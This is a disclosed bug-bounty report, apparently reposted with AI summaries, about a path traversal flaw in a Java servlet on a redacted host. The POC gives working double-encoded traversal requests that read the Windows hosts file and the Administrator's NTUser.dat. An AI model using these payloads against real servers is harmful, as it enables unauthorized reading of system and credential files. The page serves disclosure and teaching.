[Critical] Full local fylesystem access (LFI/LFD) as admin via Path Traversal in the misconfigured Java servlet on the https://███/
A Java servlet on the target host was vulnerable to path traversal, allowing a remote attacker to read arbitrary files on the server. The reporter demonstrated reading a Windows system file and a file belonging to the Administrator account, indicating the servlet ran with high privileges.
- Triaged in 15 hours
- Fixed in 16 days
- Disclosed after 7 months
##Description Hello. I discovered a Path Traversal issue on the https://██████████/ I was able to turn it to the local file read, and after series of the test determined that it's possible to reach sensitive system files with administrator rights.
##POC
The next request will read the c:/windows/System32/drivers/etc/hosts as POC:
GET /gwtmain//..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/System32/drivers/etc/hosts HTTP/1.1
Host: ██████████
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
██████████ In browser (Chrome):
https://███████/gwtmain//..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/System32/drivers/etc/hosts
Testing if we have admin rights:
GET /gwtmain//..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fUsers/Administrator/NTUser.dat HTTP/1.1
Host: ████
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
The system will return 200 ok and respond with content of Users/Administrator/NTUser.dat which should be accessible only from administrator account.
██████
It proves the critical impact an possibility of the RCE, because we have high-privileged rights on the system.
##Suggested fix Secure the vulnerable servlet.
Impact
Remote attacker is able to read any file on the system partition, it can lead to the full compromise of the resource, in case attacker will reach sensitive files such as logs/credentials/registry tree.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the servlet passed a user-controlled path segment to a file-reading API without normalising it or restricting it to an allowed directory, and double-encoding bypassed any naive filter.
Impact
A remote attacker could read any file on the system partition, which may lead to full compromise if sensitive files such as logs, credentials or registry data are reached.
What the attacker needed
Network access to the servlet
How it was found
- Send a request to the servlet path with encoded traversal sequences pointing at a Windows system file.
- Observe that the server returns the contents of that file.
- Repeat the request targeting a file under the Administrator user profile to confirm high privileges.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web server sometimes takes part of the address you type and uses it to find a file on disk. If it does not check that the requested path stays inside the intended folder, you can use '..' sequences to climb out and read other files. Here the reporter used encoded '..' sequences to reach Windows system files and files belonging to the Administrator account.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.